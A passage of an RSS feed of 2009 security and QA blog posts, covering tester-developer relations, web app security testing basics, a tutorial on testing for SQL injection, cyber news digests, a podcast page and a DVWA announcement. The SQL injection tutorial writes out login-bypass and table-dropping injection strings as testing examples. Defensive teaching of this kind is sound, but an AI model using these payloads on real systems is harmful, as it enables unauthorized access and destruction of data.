<p><strong>Be honest and Responsive:</strong><br />
Tell developers what are your plans to attack their application.</p>
<p><strong>Be open and available:</strong><br />
If any dev ask you to have a look at the application developed by him before the release, then politely give feedback on it and report any extra efforts needed. Don’t log the bug’s for these notes.</p>
<p><strong>Let them review your tests:</strong><br />
If you have designed or wrote some test cases from the requirement specifications then just show them those test cases. Let them know your stuff as you are going to critic on developers work!</p>
<p><strong>Use of Bug tracker:</strong><br />
Some testers have habit to report each and everything publicly. This attitude hurts the developers. So if you have logged any bug then let the bug tracking system report it to respective developers and managers. Also don’t each time rely on bug tracker, talk personally to developers what you logged and why you logged?</p>
<p>Finally some good personal points:</p>
<p><strong>Don’t take it personally:</strong><br />
Do the job of messenger. You could be a close target always. So build a thick skin!</p>
<p><strong>Be prepared:</strong><br />
A good message in the end, Be prepared for everything! If worst things might not happened till now but they can happen at any moment in your career. So be ready to face them.</p>
<p>[<strong>Thougt of the Day:</strong> When a virtually flawless application is delivered to a customer, no one says how well tested it was. Development teams will always get the credit. However, if it is delivered with bugs, everyone will wonder who tested it! - - Dave Whalen]</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An approach for Security Testing of Web Applications]]></title>
<link>http://sqahelp.wordpress.com/2009/11/11/an-approach-for-security-testing-of-web-applications/</link>
<pubDate>Wed, 11 Nov 2009 10:49:14 +0000</pubDate>
<dc:creator>Ammad Ghauri</dc:creator>
<guid>http://sqahelp.wordpress.com/2009/11/11/an-approach-for-security-testing-of-web-applications/</guid>
<description><![CDATA[Introduction As more and more vital data is stored in web applications and the number of transaction]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><strong>Introduction</strong></p>
<p>As more and more vital data is stored in web applications and the number of transactions on the web increases, proper security testing of web applications is becoming very important. Security testing is the process that determines that <strong>confidential data stays confidential</strong> (i.e. it is not exposed to individuals/ entities for which it is not meant) and users can perform only those tasks that they are authorized to perform (e.g. a user should not be able to deny the functionality of the web site to other users, a user should not be able to change the functionality of the web application in an unintended way etc.).</p>
<p><strong>Some key terms used in security testing</strong></p>
<p>Before we go further, it will be useful to be aware of a few terms that are frequently used in web application security testing:</p>
<p><strong>What is “Vulnerability”?</strong><br />
This is a weakness in the web application. The cause of such a “weakness” can be bugs in the application, an injection (SQL/ script code) or the presence of viruses.</p>
<p><strong>What is “URL manipulation”?</strong><br />
Some web applications communicate additional information between the client (browser) and the server in the URL. Changing some information in the URL may sometimes lead to unintended behavior by the server.</p>
<p><strong>What is “SQL injection”?</strong><br />
This is the process of inserting SQL statements through the web application user interface into some query that is then executed by the server.</p>
<p><strong>What is “XSS (Cross Site Scripting)”?</strong><br />
When a user inserts HTML/ client-side script in the user interface of a web application and this insertion is visible to other users, it is called XSS.</p>
<p><strong>What is “Spoofing”?</strong><br />
The creation of hoax look-alike websites or emails is called spoofing.<br />
<strong>Security testing approach</strong>:</p>
<p>In order to perform a useful security test of a web application, the security tester should have good knowledge of the HTTP protocol. It is important to have an understanding of how the client (browser) and the server communicate using HTTP. Additionally, the tester should at least know the basics of SQL injection and XSS. Hopefully, the number of security defects present in the web application will not be high. However, being able to accurately describe the security defects with all the required details to all concerned will definitely help.</p>
<p><strong>1. Password cracking:</strong></p>
<p>The security testing on a web application can be kicked off by “password cracking”. In order to log in to the private areas of the application, one can either guess a username/ password or use some password cracker tool for the same. Lists of common usernames and passwords are available along with open source password crackers. If the web application does not enforce a complex password (e.g. with alphabets, number and special characters, with at least a required number of characters), it may not take very long to crack the username and password.</p>
<p>If username or password is stored in cookies without encrypting, attacker can use different methods to steal the cookies and then information stored in the cookies like username and password.</p>
<p>&#160;</p>
<p><strong>2. URL manipulation through HTTP GET methods:</strong></p>
<p>The tester should check if the application passes important information in the querystring. This happens when the application uses the HTTP GET method to pass information between the client and the server. The information is passed in parameters in the querystring. The tester can modify a parameter value in the querystring to check if the server accepts it.</p>
<p>Via HTTP GET request user information is passed to server for authentication or fetching data. Attacker can manipulate every input variable passed from this GET request to server in order to get the required information or to corrupt the data. In such conditions any unusual behavior by application or web server is the doorway for the attacker to get into the application.</p>
<p><strong>3. SQL Injection:</strong></p>
<p>The next thing that should be checked is SQL injection. Entering a single quote (‘) in any textbox should be rejected by the application. Instead, if the tester encounters a database error, it means that the user input is inserted in some query which is then executed by the application. In such a case, the application is vulnerable to SQL injection.</p>
<p>SQL injection attacks are very critical as attacker can get vital information from server database. To check SQL injection entry points into your web application, find out code from your code base where direct MySQL queries are executed on database by accepting some user inputs.</p>
<p>If user input data is crafted in SQL queries to query the database, attacker can inject SQL statements or part of SQL statements as user inputs to extract vital information from database. Even if attacker is successful to crash the application, from the SQL query error shown on browser, attacker can get the information they are looking for. Special characters from user inputs should be handled/escaped properly in such cases.</p>
<p><strong>4. Cross Site Scripting (XSS):</strong></p>
<p>The tester should additionally check the web application for XSS (Cross site scripting). Any HTML e.g. &#60;HTML&#62; or any script e.g. &#60;SCRIPT&#62; should not be accepted by the application. If it is, the application can be prone to an attack by Cross Site Scripting.</p>
<p>Attacker can use this method to execute malicious script or URL on victim’s browser. Using cross-site scripting, attacker can use scripts like JavaScript to steal user cookies and information stored in the cookies.</p>
<p>Many web applications get some user information and pass this information in some variables from different pages.</p>
<p>E.g.: http://www.examplesite.com/index.php?userid=123&#38;query=xyz</p>
<p>Attacker can easily pass some malicious input or &#60;script&#62; as a ‘&#38;query’ parameter which can explore important user/server data on browser.</p>
<p><strong>Important:</strong> During security testing, the tester should be very careful not to modify any of the following:</p>
<ul>
<li> Configuration of the application or the server</li>
<li> Services running on the server</li>
<li> Existing user or customer data hosted by the application</li>
</ul>
<p>Additionally, a security test should be avoided on a production system.</p>
<p>The purpose of the security test is to discover the vulnerabilities of the web application so that the developers can then remove these vulnerabilities from the application and make the web application and data safe from unauthorized actions.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection – How to Test Web Applications against SQL Injection Attacks]]></title>
<link>http://sqahelp.wordpress.com/2009/11/11/sql-injection-%e2%80%93-how-to-test-web-applications-against-sql-injection-attacks/</link>
<pubDate>Wed, 11 Nov 2009 10:40:31 +0000</pubDate>
<dc:creator>Ammad Ghauri</dc:creator>
<guid>http://sqahelp.wordpress.com/2009/11/11/sql-injection-%e2%80%93-how-to-test-web-applications-against-sql-injection-attacks/</guid>
<description><![CDATA[Security testing of web applications against SQL Injection, explained with simple examples &#8211; B]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><ins><ins></ins></ins></p>
<p>Security testing of web applications against SQL Injection, explained with simple examples &#8211; By Inder P Singh.</p>
<p>Many applications use some type of a database. An application under test might have a user interface that accepts user input that is used to perform the following tasks:</p>
<p>1.    Show the relevant stored data to the user e.g. the application checks the credentials of the user using the log in information entered by the user and exposes only the relevant functionality and data to the user</p>
<p>2.    Save the data entered by the user to the database e.g. once the user fills up a form and submits it, the application proceeds to save the data to the database; this data is then made available to the user in the same session as well as in subsequent sessions</p>
<p>Some of the user inputs might be used in framing SQL statements that are then executed by the application on the database. It is possible for an application NOT to handle the inputs given by the user properly. If this is the case,<strong> a malicious user could provide unexpected inputs to the application that are then used to frame and execute SQL statements on the database.</strong> This is called SQL injection. The consequences of such an action could be alarming.</p>
<p><strong>The following things might result from SQL injection:</strong></p>
<p><strong>1. </strong>The user could log in to the application as another user, even as an administrator.</p>
<p><strong>2. </strong>The user could view private information belonging to other users e.g. details of other users’ profiles, their transaction details etc.</p>
<p><strong>3. </strong>The user could change application configuration information and the data of the other users.</p>
<p><strong>4. </strong>The user could modify the structure of the database; even delete tables in the application database.</p>
<p><strong>5.</strong> The user could take control of the database server and execute commands on it at will.</p>
<p>Since the consequences of allowing the SQL injection technique could be severe, it follows that SQL injection should be tested during the security testing of an application. Now with an overview of the SQL injection technique, let us understand a few practical examples of SQL injection.</p>
<p><em><strong>Important: The SQL injection problem should be tested only in the test environment. </strong></em></p>
<p>If the application has a log in page, it is possible that the application uses a dynamic SQL such as statement below. This statement is expected to return at least a single row with the user details from the Users table as the result set when there is a row with the user name and password entered in the SQL statement.</p>
<p>SELECT * FROM Users WHERE User_Name = ‘” &#38; strUserName &#38; “‘ AND Password = ‘” &#38; strPassword &#38; “’;”</p>
<p>If the tester would enter John as the strUserName (in the textbox for user name) and Smith as strPassword (in the textbox for password), the above SQL statement would become:</p>
<p>SELECT * FROM Users WHERE User_Name = ‘John’ AND Password = ‘Smith’;</p>
<p>If the tester would enter John’– as strUserName and no strPassword, the SQL statement would become:</p>
<p>SELECT * FROM Users WHERE User_Name = ‘John’– AND Password = ‘Smith’;</p>
<p>Note that the part of the SQL statement after John is turned into a comment. If there were any user with the user name of John in the Users table, the application could allow the tester to log in as the user John. The tester could now view the private information of the user John.</p>
<p>What if the tester does not know the name of any existing user of the application? In such a case, the tester could try common user names like admin, administrator and sysadmin. If none of these users exist in the database, the tester could enter John’ or ‘x’=’x as strUserName and Smith’ or ‘x’=’x  as strPassword. This would cause the SQL statement to become like the one below.</p>
<p>SELECT * FROM Users WHERE User_Name = ‘John’ or ‘x’=&#8217;x’ AND Password = ‘Smith’ or ‘x’=’x’;</p>
<p>Since ‘x’=’x’ condition is always true, the result set would consist of all the rows in the Users table. The application could allow the tester to log in as the first user in the Users table.</p>
<p><em><strong>Important: The tester should request the database administrator or the developer to copy the table in question before attempting the following SQL injection.</strong></em></p>
<p>If the tester would enter John’; DROP table users_details;’—as strUserName and anything as strPassword, the SQL statement would become like the one below.</p>
<p>SELECT * FROM Users WHERE User_Name = ‘John’; DROP table users_details;’ –‘ AND Password = ‘Smith’;</p>
<p>This statement could cause the table “users_details” to be permanently deleted from the database.</p>
<p>Though the above examples deal with using the SQL injection technique only the log in page, the tester should test this technique on all the pages of the application that accept user input in textual format e.g. search pages, feedback pages etc.</p>
<p>SQL injection might be possible in applications that use SSL. Even a firewall might not be able to protect the application against the SQL injection technique.</p>
<p>I have tried to explain the SQL injection technique in a simple form. I would like to re-iterate that SQL injection should be tested only in a test environment and not in the development environment, production environment or any other environment. Instead of manually testing whether the application is vulnerable to SQL injection or not, one could use a web vulnerability scanner that checks for SQL injection.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Global Cyber News Bits, November 10, 2009 from CommunityDNS]]></title>
<link>http://blog.communitydns.net/2009/11/10/global-cyber-news-bits-november-10-2009-from-communitydns/</link>
<pubDate>Tue, 10 Nov 2009 20:08:23 +0000</pubDate>
<dc:creator>CommunityDNS</dc:creator>
<guid>http://blog.communitydns.net/2009/11/10/global-cyber-news-bits-november-10-2009-from-communitydns/</guid>
<description><![CDATA[Provided by CommunityDNS, the information in this post consists of news items in the security-based ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><em> Provided by <a href="http://www.communitydns.eu/facts.html"><span style="text-decoration:underline;">CommunityDNS</span></a>, the information in this post consists of news items in the security-based Internet community.</em></p>
<p><strong>Security firm chokes sprawling spam botnet</strong></p>
<p>The efforts of a research firm took down a botnet responsible for 33% of the world’s spam.</p>
<p>The attack was multipronged.  First the security firm reported abuses to ISPs regarding certain IP addresses.  Secondly, the firm worked with registrars to deactivate registered names.  Third, the firm registered backup domains that were not used, and fourth, the botnet was able to generate random domains based on a specific algorithm.  The firm understood the algorithm and registered names possibly generated by this algorithm.</p>
<p>The effect was a botnet that had no where to turn.  Now the individual bots have been orphaned and the security firm is working with the ISPs to notify the computer owners whose computers were once members of the botnet.</p>
<p>Click <a href="http://www.theregister.co.uk/2009/11/10/fireeye_takes_out_ozdok/"><span style="text-decoration:underline;">here</span></a> for more information.</p>
<p><strong>MassMutual Warns of Data Breach</strong></p>
<p>Employee and customer data for MassMutual could have been compromised.  Data handled by a third party provider was breached.</p>
<p>Click <a href="http://www.darkreading.com/security/attacks/showArticle.jhtml?articleID=221600945"><span style="text-decoration:underline;">here</span></a> for more information.</p>
<p><strong>Majority of Web Apps Have Severe Vulnerabilities</strong></p>
<p>A recent report indicates that close to 9 out of 10 web applications could lead to information exposure due to flaws as 87% of the Web applications analyzed had serious vulnerabilities.</p>
<p>60% of Internet-based attacks targeted Web applications.  90% of web vulnerabilities rested with commercial Web applications while 8% rested with browser-run applications.</p>
<p>25% of the attacks were SQL Injection-based with 17% of the attacks being attributed to Cross Site Scripting</p>
<p>Click <a href="http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=221601000"><span style="text-decoration:underline;">here</span></a> for more information.</p>
<p><strong>No Rush to Adopt Domain Names Written in Chinese in China</strong></p>
<p>While ICANN has opened the gates for IDNs to begin in certain countries, China being one of them, it appears there is no great rush to acquire the Chinese equivalent of the currently used Latin character set.</p>
<p>In many cases Chinese organizations have reduced the number of characters to make it easier for Chinese to type in the URL.  For example “Tenchnt” is known as “qq.com” for its users.  Another company has used “163.com” as the URL for its brand name as companies often associate numbers with their brands.</p>
<p>In one case where someone has already grabbed the Chinese equivalent to one company’s name, the head of the company would like to purchase the name, but feels having it owned by another party would not create any harm to their existing brand.</p>
<p>While the Chinese character sets will aid Internet usage for the older population, the majority of China’s Internet population is already used to the current method of using the Internet.</p>
<p>Click <a href="http://www.cio.com/article/507163/No_Rush_to_Adopt_Domain_Names_Written_in_Chinese_in_China?source=rss_news"><span style="text-decoration:underline;">here</span></a> for more information.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Global Cyber News Bits, November 9, 2009 from CommunityDNS]]></title>
<link>http://blog.communitydns.net/2009/11/09/global-cyber-news-bits-november-9-2009-from-communitydns/</link>
<pubDate>Mon, 09 Nov 2009 21:26:23 +0000</pubDate>
<dc:creator>CommunityDNS</dc:creator>
<guid>http://blog.communitydns.net/2009/11/09/global-cyber-news-bits-november-9-2009-from-communitydns/</guid>
<description><![CDATA[Provided by CommunityDNS, the information in this post consists of news items in the security-based ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><em> Provided by <a href="http://www.communitydns.eu/facts.html"><u>CommunityDNS</u></a>, the information in this post consists of news items in the security-based Internet community.</em><br />
<br />
<strong>Bot herders hide master control channel in Google cloud</strong></p>
<p>Google’s “AppEngine” application was used by cybercriminals to act as the master control channel, feeding commands to large networks of infected computers.</p>
<p>Also, it was found that the Koobface botnet was using Google Reader to spam malicious links to social networking sites; one of which being Facebook.</p>
<p>Click <a href="http://www.theregister.co.uk/2009/11/09/bot_herders_coopt_google_appengine/"><u>here</u></a> for more information.</p>
<p>
<strong>Gumblar Botnet Resurges</strong></p>
<p>Known as one of the largest botnets that grew dramatically this year, Gumblar has reappeared.</p>
<p>Gumblar works in two ways.  The first is to load malware onto sites.  When users visit the sites malware is downloaded onto their computers.  The second way Gumblar works is to populate websites with I-frames pointing to websites containing the malware.</p>
<p>Click <a href="http://www.darkreading.com/security/attacks/showArticle.jhtml?articleID=221600700"><u>here</u></a> for more information.</p>
<p>
<strong>New Spamming Botnet On The Rise</strong></p>
<p>Currently sending 2.5 billion spam messages globally a new Botnet, known as “Festi” has quickly jumped to the rank of 5% to 6% of all spam generated.  The jump means more bots (or compromised computers) were added into its botnet with 60% located in Asia, 18% in Europe and 9% in North America.</p>
<p>Click <a href="http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=221600694"><u>here</u></a> for more information.</p>
<p>
<strong>Practical Analysis: The Fastest-Growing Security Threat</strong></p>
<p>Having grown from a few thousand a day a year ago to more than 500,000 a day SQL Injection is the fastest-growing security threat.  Through the use of automated tools cybercriminals are searching for which sites are vulnerable to SQL injection.  Such attacks allow hackers to break into networks that can lead to the breach of sensitive data.</p>
<p>Click <a href="http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=221600488"><u>here</u></a> for more information.</p>
<p>
<strong>UK to push for law to retain all communications data</strong></p>
<p>Citing the EU Data Retention Directive does not go far enough and to prevent serious crime and terrorism the British government is pushing for its ISPs to capture and hold data regarding instant messages, e-mail and other electronic communications.  The data retained would also include data from third-party services.  The data is to be retained by the respective ISPs and not in a centralized database.</p>
<p>Click <a href="http://www.networkworld.com/news/2009/110909-uk-to-push-for-law.html"><u>here</u></a> for more information.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Data Security Podcast Episode 78, Nov 09 2009]]></title>
<link>http://datasecurityblog.wordpress.com/2009/11/08/data-security-podcast-episode-78-nov-09-2009/</link>
<pubDate>Mon, 09 Nov 2009 05:40:21 +0000</pubDate>
<dc:creator>datasecurityblog</dc:creator>
<guid>http://datasecurityblog.wordpress.com/2009/11/08/data-security-podcast-episode-78-nov-09-2009/</guid>
<description><![CDATA[30 minutes every week on data security, privacy, and the law…..(plus or minus ten) On this week’s pr]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h3 style="text-align:center;"><strong>30 minutes every week on data security, privacy, and the law…..(plus or minus ten)</strong></h3>
<p>On this week’s program:</p>
<p>* Why are web drive-by downloads proliferating like cockroaches?<strong><br />
</strong></p>
<p>* Sixty Minutes just covered a data security story. We rate the coverage.</p>
<p>* Our take on this week’s news.</p>
<p>–&#62; Stream This Week’s Show with our Built-In Flash Player:</p>
<p><span style='text-align:left;display:block;'><p><object type='application/x-shockwave-flash' data='http://wordpress.com/wp-content/plugins/audio-player/player.swf' width='290' height='24' id='audioplayer1'><param name='movie' value='http://wordpress.com/wp-content/plugins/audio-player/player.swf' /><param name='FlashVars' value='&amp;bg=0xf8f8f8&amp;leftbg=0xeeeeee&amp;lefticon=0x666666&amp;rightbg=0xcccccc&amp;rightbghover=0x999999&amp;righticon=0x666666&amp;righticonhover=0xffffff&amp;text=0x666666&amp;slider=0x666666&amp;track=0xFFFFFF&amp;border=0x666666&amp;loader=0x9FFFB8&amp;soundFile=http%3A%2F%2Fsecurity.talkworkshop.com%2Fdatasecpodcast_78.mp3' /><param name='quality' value='high' /><param name='menu' value='false' /><param name='bgcolor' value='#FFFFFF' /></object></p></span></p>
<p>–&#62; Scroll down to see links and show notes for this week’s show</p>
<p>–&#62; <a title="Data Security Podcast" href="http://feeds.feedburner.com/datasecuritypodcast" target="_blank">Stream, subscribe or download Episode 78</a> – Listen or subscribe to the feed to automatically get the latest episode sent to you to your Google, Yahoo, iTunes, or other popular sites.</p>
<p>–&#62;<a title="iTunes" href="http://itunes.datasecuritypodcast.com/">Tune into the show directly on iTunes,</a> you can also subscribe to the program on iTunes.</p>
<p>–&#62;  A simple way to listen to the show from with stricter firewalls:  <a title="odeo" href="http://odeo.com/channels/2120516-Data-Security-Podcast/episodes" target="_blank">Listen from Odeo</a>. This site works better if you are behind a more restrictive enterprise firewall.</p>
<p>Please visit our sponsors, and be sure to let them know you heard about them on The Data Security Podcast:</p>
<ul>
<li> Vipre Anti-Virus, the complete Antimalware solution by Sunbelt Software. If you TRY the enterprise version, you get the home version for FREE! Go to: <a title="Test Drive Vipre" href="http://www.testdrivevipre.com/" target="_blank">http://www.testdrivevipre.com</a> .</li>
</ul>
<ul>
<li>GamaSec Web App Scans: Spots cyber-hazards on your web site, and has advanced zero-day protection. <a title="GamaSec Free Web App Scan" href="https://www.gamasec.com/gsf/FreeTrial.aspx" target="_blank">GET YOUR FREE BASIC WEB APP SCAN</a>, plus a special offer just for listeners to The Data Security Podcast. Go here to sign up, and add the offer code: <strong>Podcast</strong>.</li>
</ul>
<ul>
<li>SonicWall;  Get the super fast UTM firewall that’s rated Five Stars (the Best rating) by <a title="SC Magazine" href="http://www.scmagazineus.com/SonicWALL-TZ-210-Wireless-N/Review/2799/" target="_blank">Secure Computing Magazine</a>.  <a title="SonicWalls" href="http://dataclonelabs.com/index.php?option=com_content&#38;task=view&#38;id=101&#38;Itemid=158" target="_blank">Data Clone Labs</a> is the premier SonicWall Medallion Partner for all your security needs.</li>
</ul>
<ul>
<li> <a title="DeviceLock" href="http://www.devicelock.com/" target="_blank">DeviceLock</a>; Software that controls, manages and helps encrypt USB drives and other removable media. Get a free trial on their site, and be sure to let them know you heard about them on The Data Security Podcast.</li>
</ul>
<p><strong>Show Notes for Episode 78 of the Data Security Podcast</strong></p>
<p>* Conversation:  Ira talks with Georg Hess, CEO and Co-Founder, <a title="Art of Defence" href="http://www.artofdefence.com/en" target="_blank">Art of D<span style="font-size:small;">efence</span></a>, about network scans versus web application scans. <a title="OWASP AppSec DC 2009" href="http://www.owasp.org/index.php/OWASP_AppSec_DC_2009" target="_blank">OWASP AppSec DC 2009</a> takes place this week,  November 10-13th, in Washington, DC. The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Their mission is to make application security visible,  so that people and organizations can make informed decisions about true application security risks.</p>
<p style="text-align:center;"><a href="http://www.owasp.org/index.php/OWASP_AppSec_DC_2009"><img class=" aligncenter" title="OWASP Conf 2009 Wash DC" src="http://www.owasp.org/images/9/92/Dc09.png" alt="OWASP Conf 2009 Wash DC" width="468" height="60" /></a></p>
<p>* Tales From The Dark Web:  Our take on the 60 Minutes segment Sabotaging The System:  Could hackers get into the computer systems that run crucial elements of the world&#8217;s infrastructure, such as the power grids, water works or even a nation&#8217;s military arsenal?  Be sure to <a title="60 Minutes" href="http://www.cbsnews.com/video/watch/?id=5578986n&#38;tag=api" target="_blank">watch this video segment</a> with the highest level non-technical boss in your organization. Also, make sure you, and your non-technical boss watch the &#8220;Web Extras&#8221; from this segment.  One of the stunning parts of the segment was the claim that private companies are more vulnerable because the companies only care about profit. Unlike government networks, which are more secure (uh?).  If that was the case, how can that be squared against the portion of the segment that revealed that the Feds lost 12TB of data from the DOD, DOE, DOC and possible NASA, in 2007? Where was the profit motive that stopped good security in those organizations? Security expert Robert Graham explores this, and other issues, in this posting: <a title="Brazil Grid Attacks?" href="http://erratasec.blogspot.com/2009/11/brazil-outage-not-caused-by-hackers.html" target="_blank">Brazil outage NOT caused by hackers</a>.</p>
<p>* From Our Take on The News:  New open-source voting technology – the developer is looking for jurisdictions to try it for free.  <a title="http://www.wired.com/threatlevel/2009/11/scantegrity" href="http://www.wired.com/threatlevel/2009/11/scantegrity" target="_blank">Read the Wired account</a>.</p>
<p>* From Our Take on The News:  A technical overview of the <a title="SSL flaw report" href="http://www.leviathansecurity.com/pdf/Renegotiating_TLS.pdf" target="_blank">newly discovered SSL vulnerabilities</a> and possible mitigation. Ben Laurie has excellent, technical <a title="SSL flaw blogs" href="http://www.links.org/?p=789" target="_blank">blog postings</a> about the SSL protocol flaw.</p>
<p>* From Our Take on The News:  Voters hate traffic surveillance cameras &#8212; proven in three U. S. cities in last week’s elections. (<a title="Washington Post" href="http://www.washingtonpost.com/wp-dyn/content/article/2009/11/04/AR2009110404747.html" target="_blank">As if we still need proof</a>.) Great coverage of <a title="StopBigBrotherMD.org" href="http://www.stopbigbrothermd.org" target="_blank">traffic surveillance and related matters</a> in Maryland. (But the topic is universal).</p>
<p>* From The Wrap:  First iPhone worm found, <a title="iPhone Worm in the wild" href="http://www.f-secure.com/weblog/archives/00001814.html" target="_blank">details at F-Secure</a>.  A <a title="iPhone Worm in the wild" href="http://www.f-secure.com/weblog/archives/cydia.htm" target="_blank">how-to for changing the SSH default password</a> in your jailbroken iPhone; one uses a computer connected to your iPhone to change the SSH settings.  Note: If you are not using a jailbroken iPhone, you don&#8217;t need to make changes to be protected from this particular attack.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tips Hindari SQL Injection ( SQLi )]]></title>
<link>http://rendramm2.wordpress.com/2009/11/07/tips-hindari-sql-injection-sqli/</link>
<pubDate>Sat, 07 Nov 2009 04:39:31 +0000</pubDate>
<dc:creator>Rendra Kurniawan</dc:creator>
<guid>http://rendramm2.wordpress.com/2009/11/07/tips-hindari-sql-injection-sqli/</guid>
<description><![CDATA[Setelah banyaknya bug-bug yang bertebaran di internet dari unicode hingga yang baru-baru ini menggem]]></description>
<content:encoded><![CDATA[Setelah banyaknya bug-bug yang bertebaran di internet dari unicode hingga yang baru-baru ini menggem]]></content:encoded>
</item>
<item>
<title><![CDATA[Damn Vulnerable Web App]]></title>
<link>http://omercakir.wordpress.com/2009/11/05/damn-vulnerable-web-app/</link>
<pubDate>Thu, 05 Nov 2009 14:51:38 +0000</pubDate>
<dc:creator>Ömer Çakır</dc:creator>
<guid>http://omercakir.wordpress.com/2009/11/05/damn-vulnerable-web-app/</guid>
<description><![CDATA[Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignleft" title="dvwa" src="http://www.dvwa.co.uk/images/logo.png" alt="" width="151" height="56" />Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.</p>
<p><strong>Vulnerabilities:</strong></p>
<address>SQL Injection</address>
<address>XSS Stored/Reflected</address>
<address>LFI (Local File Inclusion)</address>
<address>RFI (Remote File Inclusion)</address>
<address>Command Execution</address>
<address>Upload Script</address>
<address>Login Brute Force</address>
<address>Full Path Disclosure</address>
<address>PHP-IDS</address>
<address>And much more…</address>
<p>Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider’s public html folder or any working web server as it will be hacked. I recommend downloading and installing <a title="xampp" href="http://www.apachefriends.org/en/xampp.html" target="_blank">XAMPP</a> onto a local 			machine inside your LAN which is used solely for testing.</p>
<p>We do not take responsibility for the way in which any one uses Damn Vulnerable Web App (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.</p>
<blockquote><p><a href="https://sourceforge.net/projects/dvwa/files/dvwa-1.0.6.zip/download" target="_blank">https://sourceforge.net/projects/dvwa/files/dvwa-1.0.6.zip/download</a></p></blockquote>
</div>]]></content:encoded>
</item>

</channel>
</rss>
